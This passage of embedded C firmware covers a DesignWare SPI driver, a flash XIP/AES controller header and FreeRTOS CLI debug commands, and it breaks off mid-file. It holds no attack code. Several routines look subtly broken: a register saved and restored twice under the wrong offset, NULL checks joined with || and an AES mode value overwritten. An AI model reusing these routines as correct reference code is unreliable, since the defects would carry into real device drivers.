if (spi_ctrl->ins_ddr_en) {
value |= BIT_DW_SSI_SPI_CTRLR0_INST_DDR_EN;
}
if (spi_ctrl->ddr_en) {
value |= BIT_DW_SSI_SPI_CTRLR0_SPI_DDR_EN;
}
value |= ((spi_ctrl->wait_cycles & BIT_DW_SSI_SPI_CTRLR0_WAIT_CYCLES_MASK) << \
BIT_DW_SSI_SPI_CTRLR0_WAIT_CYCLES_SHIFT);
value |= (spi_ctrl->ins_len & BIT_DW_SSI_SPI_CTRLR0_INS_L_MASK) << \
BIT_DW_SSI_SPI_CTRLR0_INS_L_SHIFT;
value |= (spi_ctrl->addr_len & BIT_DW_SSI_SPI_CTRLR0_ADDR_L_MASK) << \
BIT_DW_SSI_SPI_CTRLR0_ADDR_L_SHIFT;
value |= (spi_ctrl->transfer_type & BIT_DW_SSI_SPI_CTRLR0_TRANS_TYPE_MASK) << \
BIT_DW_SSI_SPI_CTRLR0_TRANS_TYPE_SHIFT;
raw_writel(REG_DW_SSI_SPI_CTRLR0_OFFSET + dw_ssi->base, value);
}
return result;
}
static inline void dw_ssi_raw_write(dw_ssi_t *dw_ssi, uint32_t data)
{
raw_writel(dw_ssi->base + REG_DW_SSI_DR_OFFSET(0), data);
}
static inline uint32_t dw_ssi_raw_read(dw_ssi_t *dw_ssi)
{
return raw_readl((dw_ssi)->base + REG_DW_SSI_DR_OFFSET(0));
}
static int32_t dw_ssi_xfer(dw_ssi_t *dw_ssi, uint32_t *rx_buf, uint32_t *tx_buf, uint32_t len)
{
int32_t result = E_OK;
uint32_t idx, handled_cnt = 0;
uint32_t dummy_data = 0;
if ((NULL == dw_ssi) || (0 == len) || ((NULL == tx_buf) && (NULL == rx_buf))) {
result = E_PAR;
} else {
uint32_t reg_addr = REG_DW_SSI_SR_OFFSET + dw_ssi->base;
uint32_t sts = raw_readl(reg_addr);
if (DEV_MASTER_MODE == dw_ssi->mode) {
/* maybe move to dw_ssi_t. */
uint32_t single_cnt = 32;
/* wait TX FIFO real empty! */
while((0 == (sts & BIT_DW_SSI_SR_TFE)) ||\
(sts & BIT_DW_SSI_SR_BUSY)) {
sts = raw_readl(reg_addr);
}
while(raw_readl(reg_addr) & BIT_DW_SSI_SR_RFNE) {
raw_readl(dw_ssi->base + REG_DW_SSI_DR_OFFSET(0));
}
while (len) {
if (len < single_cnt) {
single_cnt = len;
}
if (NULL == tx_buf) {
for (idx = 0; idx < single_cnt; idx++) {
dw_ssi_raw_write(dw_ssi, dummy_data);
}
} else {
for (idx = 0; idx < single_cnt; idx++) {
dw_ssi_raw_write(dw_ssi, *tx_buf++);
}
}
raw_writel(REG_DW_SSI_SER_OFFSET + dw_ssi->base, 1);
/* wait TX FIFO real empty! */
do {
sts = raw_readl(reg_addr);
} while((0 == (sts & BIT_DW_SSI_SR_TFE)) || (sts & BIT_DW_SSI_SR_BUSY));
raw_writel(REG_DW_SSI_SER_OFFSET + dw_ssi->base, 0);
if (NULL == rx_buf) {
for (idx = 0; idx < single_cnt; idx++) {
while(0 == (raw_readl(reg_addr) & BIT_DW_SSI_SR_RFNE));
dw_ssi_raw_read(dw_ssi);
}
} else {
for (idx = 0; idx < single_cnt; idx++) {
while(0 == (raw_readl(reg_addr) & BIT_DW_SSI_SR_RFNE));
*rx_buf++ = dw_ssi_raw_read(dw_ssi);
}
}
len -= single_cnt;
handled_cnt += single_cnt;
}
} else {
if (NULL == rx_buf) {
/* wait TX FIFO real empty! */
while((0 == (sts & BIT_DW_SSI_SR_TFE)) || (sts & BIT_DW_SSI_SR_BUSY)) {
sts = raw_readl(reg_addr);
}
while(raw_readl(reg_addr) & BIT_DW_SSI_SR_RFNE) {
dw_ssi_raw_read(dw_ssi);
}
if (NULL != tx_buf) {
for (idx = 0; idx < len; idx++) {
if (0 == (raw_readl(reg_addr) & BIT_DW_SSI_SR_TFNF)) {
break;
}
dw_ssi_raw_write(dw_ssi, *tx_buf++);
handled_cnt++;
}
}
} else {
while(raw_readl(reg_addr) & BIT_DW_SSI_SR_RFNE) {
*rx_buf++ = dw_ssi_raw_read(dw_ssi);
handled_cnt++;
}
}
}
}
if (E_OK == result) {
result = handled_cnt;
}
return result;
}
static void dw_ssi_putdata(dw_ssi_t *dw_ssi, uint32_t data)
{
while (0 == (raw_readl(REG_DW_SSI_SR_OFFSET + dw_ssi->base) & BIT_DW_SSI_SR_TFNF));
raw_writel(dw_ssi->base + REG_DW_SSI_DR_OFFSET(0), data);
}
static uint32_t dw_ssi_getdata(dw_ssi_t *dw_ssi)
{
while(0 == (raw_readl(REG_DW_SSI_SR_OFFSET + dw_ssi->base) & BIT_DW_SSI_SR_RFNE));
return raw_readl((dw_ssi)->base + REG_DW_SSI_DR_OFFSET(0));
}
static uint32_t ctrl_save = 0;
static uint32_t spi_ctrl_save = 0;
static uint32_t dw_ssi_control_save_update(dw_ssi_t *dw_ssi,
uint32_t dfs, dw_ssi_spi_ctrl_t *ctrl_desc, uint32_t flag)
{
uint32_t transfer_mode = 0, comm_mode = 0;
if (NULL != dw_ssi) {
/* save control register. */
ctrl_save = raw_readl(dw_ssi->base + REG_DW_SSI_CTRLR0_OFFSET);
spi_ctrl_save = raw_readl(dw_ssi->base + REG_DW_SSI_CTRLR0_OFFSET);
comm_mode = (ctrl_save >> BITS_DW_SSI_CTRLR0_SPI_FRF_SHIFT) & BITS_DW_SSI_CTRLR0_SPI_FRF_MASK;
if (STANDARD_SPI_FRAME_FORMAT == comm_mode) {
/* standard spi communication mode: using eeprom tr mode. */
transfer_mode = 0;
} else if (QUAD_FRAME_FORMAT == comm_mode) {
if (flag) {
transfer_mode = 1;
} else {
/* quad mode communication mode: using Read onlt transfer mode. */
transfer_mode = 2;
}
} else {
transfer_mode = 0;
}
/* config data frame format: (ins, addr, data) = (8, 0, 8). */
raw_writel(REG_DW_SSI_SSIENR_OFFSET + dw_ssi->base, 0);
dw_ssi_data_frame_config(dw_ssi,
dfs,
ctrl_desc->ins_len,
ctrl_desc->addr_len,
ctrl_desc->wait_cycles);
dw_ssi_transfer_mode_update(dw_ssi, transfer_mode);
raw_writel(REG_DW_SSI_SSIENR_OFFSET + dw_ssi->base, 1);
}
return transfer_mode;
}
static void dw_ssi_control_restore(dw_ssi_t *dw_ssi)
{
if (NULL != dw_ssi) {
raw_writel(dw_ssi->base + REG_DW_SSI_CTRLR0_OFFSET, ctrl_save);
raw_writel(dw_ssi->base + REG_DW_SSI_CTRLR0_OFFSET, spi_ctrl_save);
}
}
static void dw_ssi_ro_read(dw_ssi_t *dw_ssi, dw_ssi_xfer_t *xfer, uint32_t flag)
{
if ((NULL != dw_ssi) && (NULL != xfer)) {
uint32_t sts;
uint32_t loop_cnt = 0;
uint32_t single_read_cnt = 0x10000;
uint32_t addr = xfer->addr;
uint32_t length = xfer->len;
uint32_t *wdata_ptr = (uint32_t *)xfer->buf;
uint8_t *data_ptr = (uint8_t *)xfer->buf;
while (length) {
if (length < single_read_cnt) {
single_read_cnt = length;
}
dw_ssi_read_count(dw_ssi, single_read_cnt - 1);
dw_ssi_putdata(dw_ssi, xfer->ins);
if (xfer->addr_valid) {
dw_ssi_putdata(dw_ssi, xfer->addr);
}
loop_cnt = single_read_cnt;
/* select salve: start to transfer data. */
raw_writel(REG_DW_SSI_SER_OFFSET + dw_ssi->base, 1);
if (flag) {
while (loop_cnt--) {
*wdata_ptr++ = dw_ssi_getdata(dw_ssi);
}
addr += single_read_cnt << 2;
} else {
while (loop_cnt--) {
*data_ptr++ = dw_ssi_getdata(dw_ssi) & 0xFF;
}
addr += single_read_cnt;
}
length -= single_read_cnt;
/* wait tx fifo real empty! */
do {
sts = raw_readl(REG_DW_SSI_SR_OFFSET + dw_ssi->base);
} while((0 == (sts & BIT_DW_SSI_SR_TFE)) || (sts & BIT_DW_SSI_SR_BUSY));
raw_writel(REG_DW_SSI_SER_OFFSET + dw_ssi->base, 0);
}
}
}
static void dw_ssi_normal_read(dw_ssi_t *dw_ssi, dw_ssi_xfer_t *xfer, uint32_t flag)
{
if ((NULL != dw_ssi) && (NULL != xfer)) {
uint32_t sts;
uint32_t wait_bytes = 0;
uint32_t unused_data_cnt = 1;
uint32_t pre_filling_cnt = 0;
uint32_t length = xfer->len;
uint32_t rd_ins = xfer->ins;
if (flag) {
if (xfer->addr_valid) {
rd_ins <<= 24;
rd_ins |= (xfer->addr) & 0xFFFFFF;
}
dw_ssi_putdata(dw_ssi, rd_ins);
} else {
dw_ssi_putdata(dw_ssi, rd_ins);
if (xfer->addr_valid) {
/* if address width is 32bits, pls fix here! */
dw_ssi_putdata(dw_ssi, (xfer->addr >> 16) & 0xFF);
dw_ssi_putdata(dw_ssi, (xfer->addr >> 8) & 0xFF);
dw_ssi_putdata(dw_ssi, xfer->addr & 0xFF);
unused_data_cnt += 3;
}
wait_bytes = xfer->rd_wait_cycle/8;
unused_data_cnt += wait_bytes;
while (wait_bytes--) {
dw_ssi_putdata(dw_ssi, 0);
}
}
/* firstly, filling tx fifo fully. */
while (raw_readl(REG_DW_SSI_SR_OFFSET + dw_ssi->base) & BIT_DW_SSI_SR_TFNF) {
if (length) {
raw_writel(dw_ssi->base + REG_DW_SSI_DR_OFFSET(0), 0);
pre_filling_cnt++;
length--;
} else {
break;
}
}
/* select salve: start to transfer data. */
raw_writel(REG_DW_SSI_SER_OFFSET + dw_ssi->base, 1);
/* remove unused data. */
while (unused_data_cnt--) {
dw_ssi_getdata(dw_ssi);
if (length) {
//dw_ssi_putdata(dw_ssi, 0);
raw_writel(dw_ssi->base + REG_DW_SSI_DR_OFFSET(0), 0);
pre_filling_cnt++;
length--;
}
}
/* read data! */
if (flag) {
uint32_t *wdata_ptr = (uint32_t *)xfer->buf;
while (length--) {
*wdata_ptr++ = dw_ssi_getdata(dw_ssi);
//dw_ssi_putdata(dw_ssi, 0);
raw_writel(dw_ssi->base + REG_DW_SSI_DR_OFFSET(0), 0);
}
while (pre_filling_cnt--) {
*wdata_ptr++ = dw_ssi_getdata(dw_ssi);
}
} else {
uint8_t *data_ptr = (uint8_t *)xfer->buf;
while (length--) {
*data_ptr++ = (uint8_t)dw_ssi_getdata(dw_ssi);
//dw_ssi_putdata(dw_ssi, 0);
raw_writel(dw_ssi->base + REG_DW_SSI_DR_OFFSET(0), 0);
}
while (pre_filling_cnt--) {
*data_ptr++ = (uint8_t)dw_ssi_getdata(dw_ssi);
}
}
/* wait tx fifo real empty! */
do {
sts = raw_readl(REG_DW_SSI_SR_OFFSET + dw_ssi->base);
} while((0 == (sts & BIT_DW_SSI_SR_TFE)) || (sts & BIT_DW_SSI_SR_BUSY));
raw_writel(REG_DW_SSI_SER_OFFSET + dw_ssi->base, 0);
}
}
static int32_t dw_ssi_read(dw_ssi_t *dw_ssi, dw_ssi_xfer_t *xfer, uint32_t flag)
{
int32_t result = E_OK;
if ((NULL == dw_ssi) || (NULL == xfer) || \
((NULL == xfer->buf) || (0 == xfer->len))) {
result = E_PAR;
} else {
uint32_t transfer_mode = 0;
dw_ssi_spi_ctrl_t ctrl_desc = {
.wait_cycles = xfer->rd_wait_cycle,
.ins_len = DW_SSI_INS_LEN_8,
.addr_len = DW_SSI_ADDR_LEN_24
};
if (flag) {
transfer_mode = dw_ssi_control_save_update(dw_ssi, 31, &ctrl_desc, 0);
} else {
if (0 == xfer->addr_valid) {
ctrl_desc.addr_len = DW_SSI_ADDR_LEN_0;
}
transfer_mode = dw_ssi_control_save_update(dw_ssi, 7, &ctrl_desc, 0);
}
/* clean up RX FIFO. */
while(raw_readl(REG_DW_SSI_SR_OFFSET + dw_ssi->base) & BIT_DW_SSI_SR_RFNE) {
dw_ssi_raw_read(dw_ssi);
}
if (DW_SSI_TR_MODE == transfer_mode) {
dw_ssi_normal_read(dw_ssi, xfer, flag);
} else if (DW_SSI_RECEIVE_ONLY == transfer_mode) {
/* TODO: achieve in future! */
dw_ssi_ro_read(dw_ssi, xfer, flag);
} else if (DW_SSI_EEPROM == transfer_mode) {
result = E_SYS;
} else {
result = E_SYS;
}
/* clean up RX FIFO. */
while(raw_readl(REG_DW_SSI_SR_OFFSET + dw_ssi->base) & BIT_DW_SSI_SR_RFNE) {
dw_ssi_raw_read(dw_ssi);
}
/* restore control register. */
dw_ssi_control_restore(dw_ssi);
}
return result;
}
static void dw_ssi_normal_write(dw_ssi_t *dw_ssi, dw_ssi_xfer_t *xfer, uint32_t flag)
{
if ((NULL != dw_ssi) || (NULL != xfer)) {
uint32_t sts;
uint32_t pre_filling_cnt = 0;
uint32_t length = xfer->len;
uint32_t w_ins = xfer->ins;
uint32_t *wdata_ptr = (uint32_t *)xfer->buf;
uint8_t *data_ptr = (uint8_t *)xfer->buf;
if (flag) {
if (xfer->addr_valid) {
w_ins <<= 24;
w_ins |= (xfer->addr) & 0xFFFFFF;
}
dw_ssi_putdata(dw_ssi, w_ins);
} else {
dw_ssi_putdata(dw_ssi, xfer->ins);
if (xfer->addr_valid) {
/* if address width is 32bits, pls fix here! */
dw_ssi_putdata(dw_ssi, (xfer->addr >> 16) & 0xFF);
dw_ssi_putdata(dw_ssi, (xfer->addr >> 8) & 0xFF);
dw_ssi_putdata(dw_ssi, xfer->addr & 0xFF);
}
}
/* filling tx fifo fully. */
while (raw_readl(REG_DW_SSI_SR_OFFSET + dw_ssi->base) & BIT_DW_SSI_SR_TFNF) {
if (length) {
if (flag) {
raw_writel(dw_ssi->base + REG_DW_SSI_DR_OFFSET(0), *wdata_ptr++);
} else {
raw_writel(dw_ssi->base + REG_DW_SSI_DR_OFFSET(0), *data_ptr++);
}
pre_filling_cnt++;
length--;
} else {
break;
}
}
/* select salve: start to transfer data. */
raw_writel(REG_DW_SSI_SER_OFFSET + dw_ssi->base, 1);
/* write data! */
if (flag) {
while (length--) {
dw_ssi_getdata(dw_ssi);
dw_ssi_putdata(dw_ssi, *wdata_ptr++);
}
} else {
while (length--) {
dw_ssi_getdata(dw_ssi);
dw_ssi_putdata(dw_ssi, *data_ptr++);
}
}
/* wait tx fifo real empty! */
do {
sts = raw_readl(REG_DW_SSI_SR_OFFSET + dw_ssi->base);
} while((0 == (sts & BIT_DW_SSI_SR_TFE)) || (sts & BIT_DW_SSI_SR_BUSY));
raw_writel(REG_DW_SSI_SER_OFFSET + dw_ssi->base, 0);
}
}
static void dw_ssi_to_write(dw_ssi_t *dw_ssi, dw_ssi_xfer_t *xfer, uint32_t flag)
{
if ((NULL != dw_ssi) || (NULL != xfer)) {
uint32_t sts;
uint32_t pre_filling_cnt = 32;
uint32_t length = xfer->len;
uint8_t *data_ptr = (uint8_t *)xfer->buf;
dw_ssi_putdata(dw_ssi, xfer->ins);
if (xfer->addr_valid) {
/* if address width is 32bits, pls fix here! */
dw_ssi_putdata(dw_ssi, (xfer->addr >> 16) & 0xFF);
dw_ssi_putdata(dw_ssi, (xfer->addr >> 8) & 0xFF);
dw_ssi_putdata(dw_ssi, xfer->addr & 0xFF);
}
/* filling tx fifo fully. */
if (length < pre_filling_cnt) {
pre_filling_cnt = length;
}
while (pre_filling_cnt--) {
if (raw_readl(REG_DW_SSI_SR_OFFSET + dw_ssi->base) & BIT_DW_SSI_SR_TFNF) {
raw_writel(dw_ssi->base + REG_DW_SSI_DR_OFFSET(0), *data_ptr++);
length--;
} else {
break;
}
}
/* select salve: start to transfer data. */
raw_writel(REG_DW_SSI_SER_OFFSET + dw_ssi->base, 1);
/* write data! */
while (length--) {
dw_ssi_putdata(dw_ssi, *data_ptr++);
}
/* wait tx fifo real empty! */
do {
sts = raw_readl(REG_DW_SSI_SR_OFFSET + dw_ssi->base);
} while((0 == (sts & BIT_DW_SSI_SR_TFE)) || (sts & BIT_DW_SSI_SR_BUSY));
raw_writel(REG_DW_SSI_SER_OFFSET + dw_ssi->base, 0);
}
}
static int32_t dw_ssi_write(dw_ssi_t *dw_ssi, dw_ssi_xfer_t *xfer, uint32_t flag)
{
int32_t result = E_OK;
if ((NULL == dw_ssi) || (NULL == xfer) || \
((NULL == xfer->buf) && (xfer->len > 0)) || \
((NULL != xfer->buf) && (0 == xfer->len))) {
result = E_PAR;
} else {
uint32_t transfer_mode = 0;
dw_ssi_spi_ctrl_t ctrl_desc = {
.wait_cycles = xfer->rd_wait_cycle,
.ins_len = DW_SSI_INS_LEN_8,
.addr_len = DW_SSI_ADDR_LEN_24
};
if (flag) {
transfer_mode = dw_ssi_control_save_update(dw_ssi, 31, &ctrl_desc, 1);
} else {
if (0 == xfer->addr_valid) {
ctrl_desc.addr_len = DW_SSI_ADDR_LEN_0;
}
transfer_mode = dw_ssi_control_save_update(dw_ssi, 7, &ctrl_desc, 1);
}
if (DW_SSI_TR_MODE == transfer_mode) {
dw_ssi_normal_write(dw_ssi, xfer, flag);
} else if (DW_SSI_TRANSMIT_ONLY == transfer_mode) {
/* TODO: support in future. */
dw_ssi_to_write(dw_ssi, xfer, flag);
} else {
result = E_SYS;
}
/* clean up RX FIFO. */
while(raw_readl(REG_DW_SSI_SR_OFFSET + dw_ssi->base) & BIT_DW_SSI_SR_RFNE) {
dw_ssi_raw_read(dw_ssi);
}
/* restore control register. */
dw_ssi_control_restore(dw_ssi);
}
return result;
}
static dw_ssi_ops_t dw_ssi_ops = {
.control = dw_ssi_control,
.enable = dw_ssi_enable,
.fifo_threshold = dw_ssi_fifo_threshold,
.baud = dw_ssi_baud_rate,
.rx_sample_delay = dw_ssi_rx_sample_delay,
.xfer = dw_ssi_xfer,
.read = dw_ssi_read,
.write = dw_ssi_write,
.dma_config = dw_ssi_dma_config,
.int_enable = dw_ssi_interrupt_enable,
.int_clear = dw_ssi_interrupt_status_clear,
.int_status = dw_ssi_interrupt_status,
.int_all_status = dw_ssi_interrupt_all_status,
.status = dw_ssi_status,
.fifo_data_count = dw_ssi_fifo_data_count,
.spi_control = dw_ssi_spi_control,
.fifo_entry = dw_ssi_fifo_entry,
.version = dw_ssi_version
};
int32_t dw_ssi_install_ops(dw_ssi_t *dw_ssi)
{
int32_t result = E_OK;
if (NULL == dw_ssi) {
result = E_PAR;
} else {
dw_ssi->ops = (void *)&dw_ssi_ops;
}
return result;
}
<file_sep>#ifndef _FLASH_XIP_H_
#define _FLASH_XIP_H_
#include "xip_reg.h"
#define XIP_AES_TWEAK_COUNT (16)
typedef enum xip_endian {
XIP_LIT_ENDIAN = 0,
XIP_BIG_ENDIAN
} xip_endian_t;
typedef struct xip_controller {
uint32_t base;
void *ops;
} xip_t;
typedef enum xip_instruction_type {
INS_READ_STATUS = 0,
INS_READ_MEMORY,
INS_WRITE_ENABLE,
INS_PROGRAM,
INS_PROGRAM_SUSPEND,
INS_PROGRAM_RESUME
} xip_ins_type_t;
/*
* description: define for nvm header.
* */
typedef struct xip_controller_reg {
uint32_t ctrl0;
uint32_t ctrl1;
uint32_t baud;
uint32_t rx_sample_delay;
uint32_t spi_ctrl;
/* xip reg. */
uint32_t read_cmd;
uint32_t ahb_endian;
uint32_t aes_endian;
uint32_t xip_offset;
uint32_t xip_rx_buf_len;
uint32_t data_offset;
uint32_t data_rx_buf_len;
/* aes reg. */
uint32_t mode;
uint32_t block_cnt;
uint32_t last_block_size;
} xip_ctrl_t;
int32_t xip_install_ops(xip_t *xip);
typedef enum flash_xip_aes_mode {
CIPHER_MODE = 0,
DECIPHER_MODE
} aes_mode_t;
typedef enum flash_xip_aes_path {
AES_IN_DATA_PATH = 0,
AES_IN_CPU_INS_PATH
} aes_path_t;
typedef enum flash_xip_aes_tweak_mode {
AES_TWEAK_BY_ADDR_BLOCKSZ = 0,
AES_TWEAK_BY_ADDR_BLOCKSZ_MASK
} aes_tweak_mode_t;
typedef struct flash_xip_aes_config {
//uint8_t mode;
uint8_t path_sel;
uint8_t data_path_bypass;
uint8_t tweak_mode;
uint32_t tweak_mask;
uint32_t tweak[4];
uint32_t seed;
} aes_cfg_t;
typedef struct flash_xip_command_format {
uint8_t ins;
uint8_t ins_len;
uint8_t addr_len;
uint8_t dfs;
} flash_xip_cmd_t;
typedef enum flash_xip_preload_buffer_size {
FLASH_XIP_BUF_16W = 0,
FLASH_XIP_BUF_32W,
FLASH_XIP_BUF_64W,
FLASH_XIP_BUF_128W,
FLASH_XIP_BUF_256W,
FLASH_XIP_BUF_512W
} flash_xip_buf_lvl_t;
#define FLASH_XIP_CMD_INIT(ins, ins_len, addr_len, dfs) (\
((ins) & 0xFF) | \
(((ins_len) & BITS_FLASH_XIP_CMD_INS_LEN_MASK) << BITS_FLASH_XIP_CMD_INS_LEN_SHIFT) |\
(((addr_len) & BITS_FLASH_XIP_CMD_ADDR_LEN_MASK) << BITS_FLASH_XIP_CMD_ADDR_LEN_SHIFT) |\
(((dfs) & BITS_FLASH_XIP_CMD_DFS_MASK) << BITS_FLASH_XIP_CMD_DFS_SHIFT) )
static inline void flash_xip_enable(xip_t *xip, uint32_t enable)
{
if (enable) {
raw_writel(xip->base + REG_FLASH_XIP_XER_OFFSET, 1);
} else {
raw_writel(xip->base + REG_FLASH_XIP_XER_OFFSET, 0);
}
}
static inline void flash_xip_read_status_cmd(xip_t *xip, uint32_t cmd)
{
raw_writel(xip->base + REG_FLASH_XIP_XRDSRCR_OFFSET, cmd);
}
static inline void flash_xip_read_cmd(xip_t *xip, uint32_t cmd)
{
raw_writel(xip->base + REG_FLASH_XIP_XRDCR_OFFSET, cmd);
}
static inline void flash_xip_write_enable_cmd(xip_t *xip, uint32_t cmd)
{
raw_writel(xip->base + REG_FLASH_XIP_XWENACR_OFFSET, cmd);
}
static inline void flash_xip_write_cmd(xip_t *xip, uint32_t cmd)
{
raw_writel(xip->base + REG_FLASH_XIP_XWECR_OFFSET, cmd);
}
static inline void flash_xip_suspend_cmd(xip_t *xip, uint32_t cmd)
{
raw_writel(xip->base + REG_FLASH_XIP_XSSCR_OFFSET, cmd);
}
static inline void flash_xip_read_flag_cmd(xip_t *xip, uint32_t cmd)
{
raw_writel(xip->base + REG_FLASH_XIP_XRDFSRCR_OFFSET, cmd);
}
static inline void flash_xip_cpu_ins_base(xip_t *xip, uint32_t addr)
{
raw_writel(xip->base + REG_FLASH_XIP_XISOR_OFFSET, addr);
}
static inline void flash_xip_data_base(xip_t *xip, uint32_t addr)
{
raw_writel(xip->base + REG_FLASH_XIP_XDSOR_OFFSET, addr);
}
static inline int32_t flash_xip_aes_config(xip_t *xip, aes_cfg_t *cfg)
{
int32_t result = 0;
uint32_t value = 0;
if ((NULL == xip) || (NULL == cfg)) {
result = -1;
} else {
value = cfg->path_sel & 0x1;
if (0 == cfg->data_path_bypass) {
value |= (1 << 1);
}
value |= (cfg->tweak_mode & 0x1) << 2;
value |= (cfg->tweak_mask >> 3) << 3;
value = 4;
raw_writel(xip->base + REG_FLASH_XIP_AMR_OFFSET, value);
for (value = 0; value < 4; value++) {
raw_writel(xip->base + REG_FLASH_XIP_ATWR_OFFSET(value), cfg->tweak[value]);
}
raw_writel(xip->base + REG_FLASH_XIP_ARSR_OFFSET, cfg->seed);
}
return result;
}
static inline void flash_xip_aes_start(xip_t *xip, \
uint32_t in_valid, uint32_t update, uint32_t stream)
{
raw_writel(xip->base + REG_FLASH_XIP_AWER_OFFSET, update);
raw_writel(xip->base + REG_FLASH_XIP_ANSR_OFFSET, stream);
raw_writel(xip->base + REG_FLASH_XIP_AIDVR_OFFSET, in_valid);
}
static inline void flash_xip_aes_input(xip_t *xip, uint32_t *data, uint32_t nof_data)
{
uint32_t cnt;
if (nof_data >= 16) {
nof_data = 16;
}
for (cnt = 0; cnt < nof_data; cnt++) {
raw_writel(xip->base + REG_FLASH_XIP_AIDR_OFFSET(cnt), *data++);
}
}
static inline int32_t falsh_xip_aes_ouput(xip_t *xip, uint32_t *data, uint32_t nof_data)
{
int32_t cnt, result = 0;
if (raw_readl(xip->base + REG_FLASH_XIP_ADSR_OFFSET) & 0x1) {
if (nof_data >= 16) {
nof_data = 16;
}
for (cnt = 0; cnt < nof_data; cnt++) {
*data++ = raw_readl(xip->base + REG_FLASH_XIP_AODR_OFFSET(cnt));
}
} else {
result = -1;
}
return result;
}
static inline uint32_t flash_xip_aes_done(xip_t *xip)
{
return raw_readl(xip->base + REG_FLASH_XIP_ADSR_OFFSET);
}
static inline void flash_xip_aes_mode_set(xip_t *xip, uint8_t mode)
{
raw_writel(xip->base + REG_FLASH_XIP_AMR_OFFSET, mode);
}
static inline void flash_xip_data_endian(xip_t *xip, \
uint32_t wr_halfw_swap, uint32_t wr_byte_swap,\
uint32_t rd_halfw_swap, uint32_t rd_byte_swap)
{
uint32_t value = 0;
if (rd_byte_swap) {
value |= 1;
}
if (rd_halfw_swap) {
value |= (1 << 1);
}
if (wr_halfw_swap) {
value |= (1 << 8);
}
if (wr_byte_swap) {
value |= (1 << 9);
}
raw_writel(xip->base + REG_FLASH_XIP_XABECR_OFFSET, value);
}
static inline void flash_xip_ins_endian(xip_t *xip, \
uint32_t w_swap, uint32_t byte_swap, uint32_t bit_swap)
{
uint32_t value = 0;
if (w_swap) {
value |= (1 << 2);
}
if (byte_swap) {
value |= (1 << 1);
}
if (bit_swap) {
value |= (1 << 0);
}
raw_writel(xip->base + REG_FLASH_XIP_XADBECR_OFFSET, value);
}
static inline void flash_xip_ins_buffer_ctrl(xip_t *xip, flash_xip_buf_lvl_t buf_lvl)
{
raw_writel(xip->base + REG_FLASH_XIP_XIBCR_OFFSET, buf_lvl);
}
static inline void flash_xip_data_rdbuf_ctrl(xip_t *xip, flash_xip_buf_lvl_t buf_lvl)
{
raw_writel(xip->base + REG_FLASH_XIP_XRBCR_OFFSET, buf_lvl);
}
static inline void flash_xip_data_wrbuf_ctrl(xip_t *xip, flash_xip_buf_lvl_t buf_lvl)
{
raw_writel(xip->base + REG_FLASH_XIP_XWBCR_OFFSET, buf_lvl);
}
static inline void flash_xip_wip_config(xip_t *xip, uint32_t wip)
{
raw_writel(xip->base + REG_FLASH_XIP_XWIPCR_OFFSET, wip);
}
static inline void flash_xip_xsb_config(xip_t *xip, uint32_t xsb, uint32_t latency)
{
raw_writel(xip->base + REG_FLASH_XIP_XXBCR_OFFSET, xsb);
raw_writel(xip->base + REG_FLASH_XIP_XXLCR_OFFSET, latency);
}
static inline void flash_xip_erase_en(xip_t *xip)
{
raw_writel(xip->base + REG_FLASH_XIP_XEFBR_OFFSET, 1);
}
static inline uint32_t flash_xip_erase_in_progress(xip_t *xip)
{
return raw_readl(xip->base + REG_FLASH_XIP_XEFBR_OFFSET);
}
static inline void flash_xip_program_en(xip_t *xip)
{
raw_writel(xip->base + REG_FLASH_XIP_XPFBR_OFFSET, 1);
}
static inline uint32_t flash_xip_program_in_progress(xip_t *xip)
{
return raw_readl(xip->base + REG_FLASH_XIP_XPFBR_OFFSET);
}
#endif
<file_sep>#include "embARC.h"
#include "embARC_debug.h"
#include "embARC_assert.h"
#include "command.h"
#include "FreeRTOS.h"
#include "task.h"
#include "FreeRTOS_CLI.h"
#include "flash_header.h"
#include "common_cli.h"
#include <stdlib.h>
/* uart_ota_cli */
static BaseType_t uart_ota_handler( char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString );
static const CLI_Command_Definition_t ota_command =
{
"uart_ota",
"\r\nuart_ota:\r\n reprogram firmare through uart interface\r\n\r\n",
uart_ota_handler,
0
};
static BaseType_t uart_ota_handler( char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString )
{
reboot_cause_set(ECU_REBOOT_UART_OTA);
chip_hw_mdelay(1);
chip_reset();
return 0;
}
void uart_ota_init(void)
{
FreeRTOS_CLIRegisterCommand(&ota_command);
}
/* firmware_version_cli */
static bool common_cli_registered = false;
static BaseType_t fw_ver_handler( char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString );
static const CLI_Command_Definition_t fw_ver_cmd = {
"fw_ver",
"fw_ver \n\r"
"\tGet firmware software version. \n\r"
"\tUsage: fw_ver \n\r",
fw_ver_handler,
-1
};
static BaseType_t fw_ver_handler( char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString )
{
flash_header_t *flash_header = NULL;
flash_header = flash_header_get();
snprintf(pcWriteBuffer, xWriteBufferLen, \
"Version: %d.%d.%d \n\rBuild Data: %s\n\rBuild Time: %s \n\rSystem Name:%s\n\rBuild commit ID: %s\n\r", \
flash_header->sw_version.major_ver_id, \
flash_header->sw_version.minor_ver_id, \
flash_header->sw_version.stage_ver_id, \
flash_header->sw_version.date, \
flash_header->sw_version.time, \
flash_header->sw_version.info, \
BUILD_COMMIT_ID
);
return pdFALSE;
}
static uint32_t mem_read(const uint32_t addr)
{
volatile uint32_t *ptr = (uint32_t *)addr;
return *ptr;
}
static BaseType_t mem_dump_command_handle(char *pcWriteBuffer, \
size_t xWriteBufferLen, const char *pcCommandString)
{
BaseType_t len1, len2;
uint32_t addr, length;
uint32_t buffer;
const char *param1 = FreeRTOS_CLIGetParameter(pcCommandString, 1, &len1);
const char *param2 = FreeRTOS_CLIGetParameter(pcCommandString, 2, &len2);
addr = (uint32_t)strtol(param1, NULL, 0);
length = (uint32_t)strtol(param2, NULL, 0);
for (uint32_t i = 0; i < length; i++) {
if ((i == 0) || (i % 4 == 0)) {
EMBARC_PRINTF("%08x", (addr + (i * 4)));
}
buffer = mem_read(addr + i*4);
if ((i+1) % 4 == 0) {
EMBARC_PRINTF("\t %08x \r\n", buffer);
} else {
EMBARC_PRINTF("\t %08x", buffer);
}
}
return pdFALSE;
}
static const CLI_Command_Definition_t mem_dump_command =
{
"mem_dump",
"\rmem_dump:"
"\r\n\tmem_dump [address] [length(word)]\r\n\r\n",
mem_dump_command_handle,
-1
};
static BaseType_t chip_reset_command_handler(char *pcWriteBuffer, size_t xWriteBufferLen, const char *pcCommandString );
static const CLI_Command_Definition_t chip_reset_command = {
"chip_reset",
"chip_reset \n\r"
